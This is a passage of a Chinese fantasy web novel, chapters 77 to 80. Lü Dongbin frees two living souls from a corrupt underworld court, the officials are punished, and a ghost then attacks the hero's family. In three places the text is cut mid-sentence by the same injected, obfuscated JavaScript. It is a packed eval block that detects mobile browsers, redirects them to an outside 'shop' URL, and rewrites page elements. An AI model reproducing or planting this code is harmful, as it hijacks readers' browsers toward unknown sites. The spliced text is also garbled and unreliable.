宋帝王和城隍此时已是恨毒了他,若非生魂受阴律保护,毁灭生魂他们也会受到因果反噬,哪还用各种威逼利诱?早早就让其魂飞魄散了。 这时,吕洞宾出言劝道:“小友不必动怒,地府之中自有法度,不会容忍任何一桩冤假错案,其中一定有误会,你且先随我返回阳间便是。” 说罢,他执拂尘一扫,本还挣扎不停的席方平安静了下来,鬼差们见状也松开了手,只见他呆呆地飘向吕洞宾,乖乖跟随其后。 77.分别 吕洞宾又伸手往白行野的方向一点,金光一闪,银龙霎时变成一条小小龙,蜷缩在李钰手心。李钰小心翼翼捧着小龙,站起身看向吕洞宾。 “走吧,小友。”吕洞宾又对李钰招了招手,跟在叫小朋友一样。 李钰还记得方才白行野的交代,虽有犹疑也不再多说,同席方平一起乖乖跟在吕洞宾身后,随他离开了黑绳大地狱。 城隍看着几人飘然远去,忧心道:“殿下,他们就这么走了,我们不会有事吧?” 阴沉着脸的宋帝王久久未答,片刻后长叹一声,“但愿吧。”说着又狠狠瞪了城隍一眼,“你回去后注意着那俩人,等吕洞宾一走便设法取了他俩的性命,只要他二人都是亡魂了,我们再怎么处置都是地府当管之事。这次,绝不能再出任何纰漏!” 他的声音中透着阴毒残忍,城隍惶恐下拜,连忙称是。 另一边,跟随吕洞宾飘到府城门外,一路小心护着小龙的李钰这才发现人间的天已是蒙蒙亮,他心下稍松了一口气,这时候回去,爹娘应当还不会发现自己又出事了。 吕洞宾停了下来,转身面向李钰和席方平二人,只一个眼神便让席方平恢复了正常,席方平清醒后,一看眼前景象立刻转身就要走。 “小友且慢。”吕洞宾出声阻拦道,“我看小友身具文气,当是个通透的读书人,真的连我所言之语都听不懂吗?” 席方平眉头一皱,方才地府情形他都看在眼里,知晓面前之人乃是八仙之一的吕洞宾,又是白道长的师父,自然是他再如何尊敬都不为过之人。可方才面对宋帝王的花言巧语,他却只是轻轻揭过,并没有为他这个凡人伸张正义的意思,这也让席方平十分失望,可他现在这么说又是何意? “小友难道没听我刚才已经说了,‘地府之中自有法度,不会容忍任何一桩冤假错案’,小友还不懂其言何意吗?”吕洞宾不紧不慢道。 李钰却如醍醐灌顶,忙道:“吕祖之言是您不会容忍冤假错案的发生,但行事却要以地府的法度为准绳,用阴间律法合理合法惩处宋帝王和城隍是吗?” 吕洞宾满意地抚须,点了点头,“这位小友甚是明理,一点就通。我虽有帝君虚名,却并不管什么事,唯爱游历人间。但若遇人有难必不会坐视不理,只是此事背后涉及颇多,我若强行出手确实不合规矩,去请当管此事之人出面才最为合适。” 席方平闻言终于冷静下来,也听懂此事吕祖已经插手了,回身跪下就拜,“吕祖在上,小人救父心切冲撞了吕祖,还望恕罪。” 吕洞宾抬手一扶,席方平就不受控地站了起来,只听吕洞宾温和道:“小友之孝义天地皆知,不必太过忧心。你们所遇之事我方才全都掐算清楚了,我的另一分身此时已见到了东岳大帝,赏善罚恶必有结果。我想,应该不出一日,你父亲之魂也将回归,你回去护好你父亲肉身,等待消息即可。” “太好了!”李钰惊喜道。 席方平更是热泪盈眶,他经历了如此多的酷刑,只欲为父申冤,若还能救回父亲性命,那真是是天大的恩赐!感激之情无以言表,他再次躬身施礼,深深下拜。 这次,吕洞宾接受了这一拜,他伸手轻抚席方平头顶,席方平顿觉魂灵撕裂之痛霎时完全消失了,甚至比他受刑之前更觉浑身舒畅。 “小人多谢吕祖!”席方平含泪谢道。 “好孩子,你受苦了,这是应该补偿你的。”吕洞宾欣慰地笑了笑,又看到席方平腰间绑着的鬼差腰带,颇为感慨地叹了一声:“这地府第三殿虽出了这等事,但看来也并非全是无良之辈。” 李钰并不知那腰带作用便未答话,席方平想起自己痛不欲生时,绑上这腰带伤痛才缓解许多,心里也认同了吕祖之言。他现在放下了大半的忧心,也领悟到吕祖此话是不想他此后沉浸在屈辱和仇恨中的深意,席方平不由更加感激。 见席方平有所领悟,吕洞宾满意点头,又看向李钰,这孩子合拢着双手,小心翼翼护着自己那小徒儿的身躯,在地府中走这一遭,好好一副相貌弄得灰头土脸,看起来有些委屈和可怜。吕洞宾笑道:“至于你,脾气秉性虽有些莽撞,但确是为了公义,也难怪我这小徒如此维护你。” 没想到有朝一日还能受仙人夸奖的李钰,有些手足无措。还不等他说什么,就听吕洞宾话锋一转道:“不过,我这徒儿还需跟我回去,好好调养一番。如今被打得连人形都变不回来,可见平日修炼懈怠,等他好了,我再好好教训他!” “若到时候他还想来见你,自然会回来的。” 此话一出,李钰立刻变了脸色,心急如焚道:“你要带行野走?可是……” 可是什么?白行野伤成这样是因为他,行野师父带他回去休养天经地义,他又有何立场阻拦?李钰不再言语,展开手掌怔怔看着虚弱的小龙。 白行野自然也听到了师父所言,他也知若是自行养伤,恐怕时日就长了,他也不好以龙形久留人间,有师父相助或许还能早早好起来,才能继续守在李钰身边保护他。 小龙抬起脑袋轻轻蹭着李钰的手心,“阿钰放心,我一定会快快养好伤再来找你,不会让你等太久的。” “好,你一定要回来,我等你。”李钰答应得勉强,此时已经泪流满面,多少愧疚、担心、不舍涌上心头,却说不出一句任性的话。 白行野心疼极了,眼里蓄起了人生中第一次出现的眼泪,他强忍着不敢落泪,怕让李钰更加难过。 李钰伸出双手小心翼翼地将小银龙交于吕洞宾,哽咽道:“还请吕祖……好好照顾行野。” 吕洞宾哭笑不得地接过小龙,小徒弟强撑着在他手中直起身子,请求道:“师父,李钰是徒儿的爱人,他易遇鬼妖精怪,还请师父看在徒儿的面子上,施以护身法印,替徒儿守着他。” 此话一出,一旁的席方平傻了,李钰也不哭了,眼睛瞪得大大的,有没有搞错,在这种时候忽然说出他俩的关系?! 他面上的错愕到惊骇的表情成功取悦了吕洞宾,吕洞宾哈哈大笑,“不愧是我的好徒弟!就依你的。” 说罢,便单手掐诀,一指点在李钰额心,一股灼热气韵霎时贯通李钰全身。这感觉甚为奇妙,李钰觉得自己就像是武侠话本中接受高人传功,被打通了任督二脉一样,只是这玄妙气韵流转全身,最后冲向心脉所在的位置,胸口像是点燃一只烛台,暖烘烘的。 “行了,如此你总满意了?”吕洞宾对手中的小龙道。 白行野垂首道:“谢谢师父。” 吕洞宾又对眼前两魂说:“好了,你们也该回去了。”说着,拂尘一扫,李钰和席方平化作两道金光飞速像府城内飞去。 目送他们而去,吕洞宾摇了摇头,“若非你们执意要入地府讨回公道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340258|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只怕这阴司衙门的腌臜之事还要被隐藏许久。” 这时他感觉手中湿润,低头一看,手中的小银龙将头埋在盘起的身体中哭得身体轻颤。吕洞宾不禁咋舌,这是做什么?我带你回去疗伤又不是干嘛,弄得我跟棒打鸳鸯的坏人似的,真是孽徒。 白行野则是心里暗暗下决心,自己一定要好好疗伤,以后也要好好修炼,等他回来必定再不会离开阿钰一步! 吕洞宾无奈摇头,将徒弟收入袖中,接下来就该收拾那跟了自己一路的“尾巴”了。 李宅中,李钰双眼倏地睁开,将守在他身旁的詹贵儿和小翠吓了一跳。 “哥哥,你回来了!”詹贵儿惊喜道,他们都没有想到,过去了一夜,李钰真的回来了。 再次醒来的李钰没有此前还阳的虚弱状态,反而非常精神,恐怕与吕祖所施法印有关。他坐了起来,胡四相公忙走过来问:“事情怎么样?是白道长请到二郎神君了吗?” 小翠疑惑道:“白道长呢?他怎么没一起回来?” 两人都在问白行野,李钰听得克制不住地有些难过。 詹贵儿见他这个表情,不知乱想了些什么,忽然哇哇大哭起来,“道长哥哥……道长哥哥……” 他这一哭,李钰可不敢再难过,忙道:“你道长哥哥没事,是他的师父救了我们,只是他受了伤被他师父带回去疗伤了,以后还会回来的。” 詹贵儿立刻止住了哭泣,三人都有些急迫地想知道到底发生了什么事,李钰收敛情绪,将事情经过告知他们。 听到席方平在地府之中所受的酷刑,三人皆是愤愤不平;又听说白行野受了重伤更是担心,直到李钰说到孚佑帝君吕洞宾及时相救,三人又是惊讶又是庆幸;一波三折地听到最后,总算都放下心来。 胡四相公道:“既然有纯阳祖师出面找东岳大帝,那城隍和宋帝王必定跑不了了。” “是了,我还想去席家看看方平兄。”李钰又仔细端详胡四相公,“你的伤没事吧?” 胡四相公道:“不妨事,当时还好有你护着我们,我就受了那一下,不算什么。等我回去也闭关调养个把月即可,你就去忙你的正事吧。” “这次真的多谢你们了。”差点连累两只小狐狸,李钰也有些后怕。 “这算什么?我们也没有帮上什么忙,何况你和白道长本就有恩于我们,不过投桃报李罢了。只是……”小翠顿了顿,从上至下地打量李钰,“小鲤鱼,你这次有回来有些不一样了。” “哪里不一样?” 小翠迟疑道:“总觉得你似有一身正气,让人有些不敢靠近。” 胡四相公也点了点头,“方才我就发现了。” 李钰一拍脑袋,将吕洞宾为他施下护身法印一事说了出来。 “原来如此,若非我们是朋友,你从内心对我们不设防,恐怕我们都近不了你的身。”胡四了然,赞道,“纯阳祖师果然厉害,如此一来,这些日子就算白道长不在,你也不怕有什么危险了。” 听他这般说,李钰神色却略有失落,小翠忙撞了一下胡四相公,立刻又道:“白道长有吕祖相助,定能很快好转,等他养好了回来,我们一定要好好聚一聚!” 李钰这才仰起脸笑道:“好。” 两人知他想去看朋友,便告辞了,李钰又交代了詹贵儿几句便匆匆赶往席家。 78.判决 丁再昌和鄂秋隼昨日并未离去,而是直接住在席家帮席母打理一应事务。结果今天一大早便听席方平房内传来一阵哭号,冲进去一看,席母抱着醒来的席方平正痛哭流涕。眼见好友平安归来,三人又是抱头痛哭一阵,席方平才向众人讲述起自己的遭遇。刚讲完,便听下人来报李公子来了,席方平忙叫人请他进来。 李钰一进屋里,就见席方平要从床上下来,忙几步上前将人按了回去,“你的魂魄才归位,万不可如此激动。伯母,还请拿些清淡的吃食来,让方平兄先吃点东西。” 众人这才纷纷反应过来,席母也过于激动忘了这茬,忙道:“备着呢备着呢,你看我一时都忘了,这就叫人端上来。” 席方平也觉自己手脚皆疲软无力的,只方才情绪上头竟是没有察觉,饭菜端上来,他立刻狼吞虎咽起来,席母在一旁看得心疼,不时掩面抹泪。吃了些东西,席方平才觉得缓过来了许多,这才又嘱咐母亲将家里的丧仪之物全部撤下,只等父亲平安归来,将那些晦气的东西全部丢出去。 席母这下也有了精神,亲自就去办,房内就剩他们好友四人。鄂秋隼一阵长吁短叹,丁再昌打趣道:“秋隼看起来比去了地府的方平兄和师兄感慨都多。” 鄂秋隼不好意思地笑了笑,又是一叹,“只是未曾想到我在阳间遇到胡端那样的狗官,阴间竟然也有这样的贪赃枉法之辈!若非方平兄孝感天地,奔赴地府为父申冤,又有李兄和白道长不顾自身,仗义相助,这才使他们东窗事发。不然我常州府百姓……不,不知道会有多少百姓无辜枉死后,还要蒙受冤狱酷刑。” 闻言丁再昌也收起笑感慨道:“有钱能使鬼推磨,可这普天之下却大多是无钱无势之人,人间若有冤假错案,人们总还寄希望于阴司地狱报应,若是阴间也是如此,那真是遮天蔽日,见不得一丝光明。” 这话说得几人心中颇感沉重,李钰适时道:“还好此事已被天庭神仙所知,又有吕祖和东岳大帝出面,必会有个结果,我们这儿的城隍也跑不了的。” 其余三人面色微微松快了些,席方平点头道:“没错,吕祖让我好好等父亲回来,只要父亲回来,那么此事就必是有所决断,便不枉我们入这地府一趟!” 三人便纷纷要求继续在席家等着,要亲眼看到席伯父回来才能彻底放心。中途丁、鄂两人也去帮席母料理杂务,就只李钰陪着席方平。 席方平虽然身体疲惫,精神上却异常兴奋,又是对李钰好一通道谢,说得李钰都不耐烦了,不许他再言谢,他才住了口。席方平抬眼往门外瞧了瞧,见没人在才低声道:“贤弟放心,白道长真身我未曾暴露,只说了他是吕祖徒弟。” 李钰微微一怔,因他压根没有在意过白行野妖族身份,便没将此事放在心上,没想到平日里看起来大大咧咧的方平兄如此小心。 “我知道再昌和秋隼若是知道了也不会多言,可未经允许自不能言说。”席方平继续道。 李钰道:“嗯,不说也好,等行野回来,大家还同往日那般相处,免得多生出些不自在。” “那是自然。”席方平应道,却未提及李钰和白行野二人关系,李钰也没主动解释,如他所说的,就如往日那般相处。 一日很快过去,夕阳西下之时,不时去看情况的丁再昌和鄂秋隼急急来到席方平房中,面上是克制不住的兴奋和喜悦,两人异口同声道:“席伯父,回来了!” 席方平闻言顾不得身体的疲软,强撑着下床就要去看他父亲,丁、鄂两人一左一右将他架起来,众人一同去看还阳的席老爷子。 据席廉所言,他本还在狱中受刑,鬼差还恐吓他,他儿子得罪了城隍爷,父子俩都要被送进黑绳地狱中永世不得超生。正是惊惶之际,一位自称东岳大帝座下使者的神官带一众官差降临,不但缉拿了城隍庙内众鬼差,还带席廉去地府见了东岳大帝。只见一栋富丽堂皇的宫殿中,东岳大帝高坐殿中,两侧还各坐了好几位神官,席廉只认出其中一位,其额前有第三只眼的神官定是二郎神,而堂前跪着阎王、城隍、鬼差一干人,甚至姓羊的也在其中! 席廉与那姓羊的当堂对质,果然是他生前就准备了数千万纸钱,让子侄在其死后烧给他。因过去与席廉的龃龉,他怀恨在心买通城隍派阴差折磨席廉,使其缠绵病榻至死,死后更是遭受毒打。不过是生意场上的不合,并非深仇大恨,竟让其害自己至此,还连累了儿子!席廉深感冤枉,求东岳大帝为其做主。 虽他不过一孤魂,东岳大帝却并无轻视之意,而是果断判了姓羊的罪行,原本鬼差恐吓席廉的话,竟成了羊财主的下场。东岳大帝还开恩允席廉还魂,并另赐百年长寿之命数予他,这才派使者送他重返人间,只是阎王和城隍的下场,他就不知了。 李钰听后长长吐出一口气,那些观看审案的神官中定有前去揭发的吕祖在,又有二郎神君在侧,有这两位代表天庭的神官在现场,看来东岳大帝势必要出手整治地府三殿和与其勾连的城隍鬼差的。但愿那不知何其多的冤魂们终能沉冤得雪,还他们一个公道。 席家父子俩还阳一事并未引起太多人的注意,还得多亏席母考虑周到,因席廉死前的怪异情况,以及儿子生魂离体的异状,并未大张旗鼓地办丧事,又好好打点了一番下人和当初的郎中,除了李钰他们几个,明确知晓事情原委的就更少了。且这事说出去也难叫人相信,毕竟数天后父子俩又都如往日那般,一个能正常出门了,一个也继续上学读书了,熟人都只以为席父大病一场,席方平在其床前侍疾才好久没出门。 常州府百姓更是没人知道自己曾存活在怎样的一片黑暗笼罩之下,都或喜或愁或平淡地过着自己的小日子。不过有一件事在府城中引起了轩然大波,那便是城隍庙,塌了! 某夜雷雨交加后,城隍庙竟遭了雷劈!大殿栋折榱崩,殿内的神像全都被倒下的屋顶和梁柱压了个稀碎!可奇就奇在庙里的山房都好好的,住在里面的道长毫发无损。要知道城隍庙是重修过的,如今才过去不到二十年,怎么一个雷雨天就能塌的?而且那雷偏偏只劈向殿宇,只毁坏了城隍和鬼差的雕像,着实让人觉得玄乎。 市井中渐渐传出流言,说是此地城隍早就不是神仙了,而是被邪祟占了金身,被天庭发现了才降下的神罚,因此人没事,挨劈的全是有神像的殿宇。当初捐钱修缮城隍庙的乡绅财主们倒是聚在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343489|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起吵了一架,认定必是有人吃了回扣,用了次料!可此事也只在他们发了牢骚后就算了,时日太久也拿不出证据,只得作罢。这事还让李化老爷子生了一肚子闲气,当初出钱最多的可是他们李家啊!而那城隍庙因着越传越广的神罚之说,暂时就无人敢再提修缮一事,除了成为百姓们一时茶余饭后的谈资,渐渐就没人再想起了。 自从白行野离开后,李钰觉得自己的生活一下子安静了下来了,这种安静并非是没有人和自己说话,而是明明每天都接触了很多人,可心里始终是空落落的。席方平他们三人先前耽误了许多时间,如今县学的功课重,但知道白道长不在,也总是努力抽出时间来陪李钰。李钰知他们的用意,却也知道他们学业繁重,并不时时都应邀。 好在小翠时常来看望他和詹贵儿,有时也带着胡四相公一起,从他们口中李钰得知了更多关于地府的消息。 说是东岳大帝亲自提审了最初涉事的羊财主和数名鬼差,神威之下小鬼们哪里敢隐瞒?皆是供认不讳,连带往日犯下的恶行一并吐露了个干净。并查出了宋帝王利用职位之便,竟与数位城隍上下一气,常年贪污渎职,收受供奉不计其数,其治下冤魂更是数不胜数。东岳大帝盛怒之下,大刀阔斧的整顿吏治,第三殿阎罗被换了下来,如今提拔上去的新任宋帝王是一位素来有执法严明美名的都城隍。而犯案的前宋帝王和十几名城隍被剥夺神职不说,如今还要在黑绳大地狱受刑,等其中十六小地狱挨个过一遍,还有其他各大地狱中的刑罚等着他们!那些个同他们上下勾结的阴差鬼卒们,牵涉较深的也免不了这一遭,而有些只是奉命办事反抗不得的,便小惩大诫放过了。毕竟这么大阵仗下来,地府第三殿中竟不剩多少干净的小官吏了。 “地府如今极是缺人,别说地府了,连常州府的城隍如今由谁来做,到现在都还没有定数呢。”小翠边嗑瓜子边说,詹贵儿在一旁给她递茶水,极为殷勤地让她再多说点。 小翠每每打听到一些关于地府的消息,就要兴冲冲地跑来李家幸灾乐祸一番,接过茶水喝了一口又道:“听说地府现在是乱了套了,可说是人人自危!不但是东岳大帝派出监察使协同新的宋帝王严查往年冤案,要为冤魂昭雪,就连天庭也派出了使者在旁监督。甚至其他地府九殿,也要在两方的监督下自查其身,这么多事还缺人,也不知要改革到何时去?” 她这么说,如今地府紧张混乱的情况可想而知,李钰虽不像小翠那样抱着看戏的心态,但心中也不免有几分痛快,同时也踏实了些。好在地府之中并非不可救药,这世间还是有人在竭力维持着严明的法度和公道。 随着这些好消息的到来,李钰也逐渐振作了起来,既然一切好转,何必日日惆怅?在等待白行野回来的日子里,他依然要好好生活,他知道行野一定会回来找他,到时候他可不想让行野看到自己这般颓废下去。于是在家窝了快一个月的李钰,再度积极穿梭在各个铺子间,努力让自己忙了起来。 时间就这么悄悄溜走,转眼又到了新年,本是阖家欢庆的日子,谁都没想到隐匿在被人遗忘的暗处,有些东西正在蠢蠢欲动,意欲在已经恢复平静的府城里掀起新的波澜。 79.波澜暗生 李家今年依旧热热闹闹地张灯结彩、摆席面、放烟花,可是所有人都总觉得少了点什么,他们也都知道少了谁,只是没人特意在这种日子里说出来罢了。 在这之前,李化和木若菱问过好几次白行野的去向,李钰都只说白行野是被他师父带回去修炼了,他师父是世外高人不爱见外人,来了就将人带走了,因此才走得突然。二老都不是很相信,觉得白贤侄这样的人,即便看起来有些不近人情,相处过后却知他是最重情义的,断不会不告而别。怕就怕是两个孩子闹什么别扭,白贤侄是负气离开的。 在李钰三番五次信誓旦旦地承诺白行野过段时间便会回来,他俩才渐渐不问了。虽还有些担心,好在儿子如今很懂事,没有闲混日子,日常做的都是正事,除了提了几次议亲的事都被儿子拒绝了,其他方面儿子完全是个完美的大孝子。 除夕之夜二老是守不完岁的,早早就要回房去睡了,他们也不让李钰拘着这些规矩,让他想睡就去睡。李钰从善如流地回了房准备休息,可外面的炮竹声、烟花声不断,吵得他根本无法入眠。 黑暗中,李钰抽出颈间的红绳,细致地抚摸着红绳上挂着的玉佩,想象着白行野还陪在他身边,同他一起相拥而眠。如此过去了许久,抚摸玉佩的手指渐渐不动了,空荡的房间里,响起一声轻得几乎让人听不见的梦呓,“行野……” 沉于梦境的李钰并不知道,此时他房间内的一处角落里,有一双泛着红光的眼睛正紧紧盯着他! 那双古怪眼睛的主人属于一个身形怪异的黑影,黑影自角落处站了起来,身量十分高大,周身被诡异的黑雾覆盖,完全融入进了夜晚的黑暗中。它无声无息地向床边移动,一点点靠近了床上那背对它沉睡的身影。 区区一个凡人,那么弱小,那么脆弱,毫无意识地将后背展露给怪物。就像是提醒着黑影,就是现在!快快对他掏心挖肺,再将其撕成碎块,以解心头之恨! 血红双眼眯了起来,似乎很是满意现在的情况。黑雾中伸出一只五指嶙峋的怪手,寂静中似乎能听到那古怪的指节在咯吱作响。就在这一刻,怪手如猛禽利爪般毫不犹豫地抓向李钰的后心,意图直接将对方心脏挖出来!可黑影没想到的是,就在快接触到李钰身体的那一瞬间,一道金光自李钰体内迸发而出,恶心的怪手触之即燃,金色火焰竟然还继续向上侵蚀,灼热伴随着剧痛席卷而来,黑影边退边发出痛苦的嘶吼声。 李钰瞬间被惊醒,随即便听到詹贵儿稚嫩的声音惊道:“什么鬼东西?!” 李钰立刻回身去看,只见一大团黑乎乎的东西从眼前闪过,身上还燃着一簇金色的火焰,它破开窗户投入夜色中,速度极快,转眼就消失不见了,根本没看清到底是什么! 詹贵儿飞身要去追,被李钰喝止住了,小贵儿停在窗口看了许久,小小的脸皱成一团,脸上尽是紧张和后怕。李钰也快速下床点亮了烛火,房内毫无异样,他也走到窗边往外望去,窗外还是那副看惯了的宅院内的场景,仿佛刚才所发生的一切都是错觉。 “我没发现它……我竟然没发现它是什么时候混进来的……”詹贵儿喃喃自语,眼神还定定的看着黑影逃走的方向,神色颇为自责。李钰见他神情不对,忙将窗户关上,拉着小孩回到床上。 “不怕不怕,我身上有吕祖给的护体法印,岂是寻常鬼怪能伤到我的?” 詹贵儿依旧紧皱着眉头,看起来一点都不像个天真无邪的小朋友,他惭愧道:“我还是太弱了,以往我能发现那些进到家里的妖精鬼魂,皆是因为他们并不怕我发现,并没有刻意的隐藏。但这次不一样,它不但隐匿了行踪,还定是冲哥哥你来的!若非因为有吕祖的护体法印,就算我发现它了也斗不过它的。” 小孩儿看起来有些泄气,可他所言确是实情,李钰哪能不知这其中隐含的危险?他强打起精神安慰詹贵儿,思绪却十分混乱,他实在想不到此前与何人结下过这般深的仇怨,要置他于死地?若非说有仇怨,那有仇之人还在地府服刑,哪可能找他的麻烦? 现如今他没有白行野在身边保护,他还有护体法印,可家里其他人没有啊!若那东西再回来伤及家人了,这又如何是好? 这一晚,一人一小鬼各怀心事,枯坐到天明。 第二天一早,李钰将小贵儿留在家里守着李家二老,自己去城外的佛寺和道观走了一道。可和僧人、道长们沟通了此事后,他才发现原来并非人人都有降妖除魔的能力,倒是让他又是买佛珠又是买护身符的,却又说不出昨晚那东西究竟是何物。不过李钰还是买了一堆东西,就当求个心理安慰。 无奈之下,他只得去一趟翠竹林了。自从上次胡四相公被城隍打伤后,还闭关了一阵子,再次去寻他,却还是求对方帮忙。李钰也自觉惭愧,可想到一家子老小,他还是厚着脸皮决定走这一趟。 还好此时胡四相公已经出关,听完李钰的叙述,沉吟片刻才道:“你所形容的那个怪物,似妖似鬼且藏头露尾,甚至防着被贵儿这样一小鬼发现,应该并非什么大妖或厉鬼,至少它如今的能力还不算太强。” 李钰还没来得及松口气,只听胡四相公又道:“可这东西着实怪异,以往我也未曾遇到过,不如这些日子劳烦李公子给我腾个住处,若它再来,我且去会会它。” “这怎么能说劳烦?是我又劳烦你了。”李钰忙道。 “既是朋友,何必说这些。”胡四相公摆手爽快道。 李钰笑笑,才发现这次来小翠竟没现身,便问:“小翠姑娘今日不在?” “那丫头玩心太重,我教训了她几句,一气之下闭关修行去了,也是好事,不必管她。”胡四相公说罢,便起身准备和李钰一道走。 事关家里人的安危,李钰也不再客套,两人这便往城里去。 哪料到刚走到家门口,便见阿福焦急地等在门口,见李钰回来立刻上前道:“少爷,你可回来了,家里出事了!” 联想到昨夜之事,李钰霎时脸色大变,不等阿福多说立刻往正院的跑去。家里下人们都聚集在正房门口,有丫鬟婆子端着铜盆、木桶拿着巾帕来回进出,众人见少爷回来,连忙让开一条道。 李钰和胡四相公快步进门,一股恶臭立时扑面而来,随即便看到李化脸色发白,倚在床边正扶着木桶狂呕不止,木若菱焦急万分地不停给李化擦汗擦嘴。李钰的目光顺势落在木桶中,里面全是颜色诡异的绿水!而那恶臭的来源,竟然就是从李老爷子身体里吐出来的这些东西! 眼前这一幕,直将李钰惊出了一身冷汗,他几步上前问道:“爹,你这是怎么了?” 木若菱这才注意到儿子回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346515|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立刻就像抓住了救命稻草般,急切道:“珠儿,你可回来了!你爹是遭的什么罪,怎么就会发生这种事?” 话音刚落,李化又吐出了一滩绿水,木若菱忙端上茶水让他漱口,又拧干巾帕去为他擦拭嘴角。李化咳了几声,似乎终于好受了一点,虚弱又缓慢地靠回榻上,冲着李钰摇了摇头,安慰道:“没事孩子,吐了就好了,大夫已经看过了,不是什么大问题,下人已经熬药去了。” 一旁的婆子将散发恶臭的木桶拿开,又有一个新的木桶到榻边,这个动作应该已经重复了好几次,足见老爷子受了多少罪。 李钰求助似的望向胡四相公,胡四给了他一个稍安勿躁的眼神,上前对李老爷道:“此处阴气未散,李老爷可是遇到什么怪异之事?” “这位是?”李化还是第一次见胡四相公,如今自己这幅模样,如何好意思见外客? “不妨事的爹。”李钰看出老爹的窘迫,立刻出言安慰,又向二老介绍道,“这位是我朋友,人称胡四相公,他也算是道门众人,跟行野也认识的。” 一听白行野之名,李化对眼前之人放心了些许,他向木若菱使了个眼色,木大娘子立刻会意,屏退了下人。 这时,詹贵儿也现身了,面带愧色看着李钰,“对不起哥哥,是我没有保护好阿翁,阿翁今日午睡时遇到了‘那个东西’,那时候我正陪在阿婆身边,未曾及时发现它。” 没等李钰开口,李化先道:“你都是个孩子,何苦让你保护我?我们家也不是让你干这事的,再说我到底也没事,贵儿不用太自责。” 听到这话,詹贵儿更觉惭愧,眼圈都红了。李钰轻轻揉了揉他的头,安慰道:“没事,胡四相公最近会住在我们家,不会再有危险的。” 詹贵儿闻言面露惊喜,感激地谢过胡四相公。木若菱将贵儿揽进怀里轻言安慰,李化这才说起今日之事。 “午后那阵,我本来还以为是鬼压床了,谁成想那鬼东西可比鬼压床恶心多了。”李化皱着脸道,看上去是连回想都难受。 原来因昨晚夜间烟花鞭炮声放了许久,使人不得好眠,李化今日便有些困顿。午饭后便准备回房小睡一会儿,木若菱不欲打扰他,带着贵儿去了东院看李惠生前养的那些花草,如今属红梅正盛。因此午睡当时,只剩李化一人在房内酣睡。 老爷子正睡得迷迷糊糊之际,隐约听得门“吱呀”一声开了,他以为是木若菱回来了,也没在意,翻了个身冲着门口看了一眼就要继续睡。恍惚间这一眼却让人意外,哪里是自家大娘子,竟看到是一个白衣老妇进了屋!他还在想哪儿来的老婆子?这个时候李化本该立刻警觉起身,可他却只觉身体沉重异常,别说起床了,连手都抬不起来,整个身体竟是动弹不得。 而再看那白衣老妇更是让人心生畏惧,老婆子身形是难得一见的高大,甚至她还佝偻着背,都许多汉子还高出一头,使得她看起来更为怪异。待她走近,李化这才看出她那身白衣竟然是丧服!此时李化已然吓清醒了,可任凭他如何努力动作,四肢也毫无反应,想要张口叫人更是发不出一丝声音,只能瞪大着眼睛看那老妇越来越近!近到能看清她那张粗糙黝黑的面庞,那张脸不只是丑陋,而是面部肿胀非常,非要说的话,竟不似活人,反而如放置了好些日子的尸体,看起来极为可怖! 80.咬鬼 李化此时可不觉得眼前是什么老妇人了,这一看就是什么鬼怪啊!那鬼怪忽然朝李化一笑,嘴角裂开露出一排黄黑尖锐的牙齿,臭不可闻的气息从它的血盆大口中散发出来。李化目眦欲裂,已经是恐惧到了极点,可他仍旧只能保持着平躺的姿势,做不出任何反抗动作。 鬼怪似乎觉得更有趣了,来了兴致一般,手脚并用地爬上了床,一屁股压在了李化的肚子上。李化瞬间只觉是什么重于百钧的山石压在他身上,身体更觉麻木,甚至连呼吸都变得困难起来。他不知这鬼东西到底要干嘛?而本能的自救心理,让他更加努力尝试挣脱这无形的桎梏,可除了眼睛和嘴巴勉强能动,其他身体部位依旧毫无知觉。 而这鬼怪还不罢休,它缓缓低下头来,如兽类般嗅闻着爪下的“猎物”,腥臭的气息更明显了,随着它不断嗅闻的动作在李化的脸四周移动。仿佛李化只是一盘新鲜血肉,不知会在什么时候,这鬼东西就会张开它的血盆大口将李化吞吃入腹。 李化头皮发麻,整个人都要炸了,他活了这么大半辈子从未经历过这般恶心又恐怖之事,而此时他孤立无援唯有自救!他紧紧盯着怪物那几乎快要贴到他脸上的丑陋面目,直到它嗅到李化右脸颊,高耸的颧骨暴露在李化眼前。李化抓住时机,猛然张开还能动的嘴,牙齿狠狠闭合,一口咬在了那鬼怪的脸上! 不得不说,这滋味十分难受,可为了活命,李化这时已经顾不得那么多,只死死咬住鬼怪粗砺的面皮,让它也感受一下动弹不得的滋味! 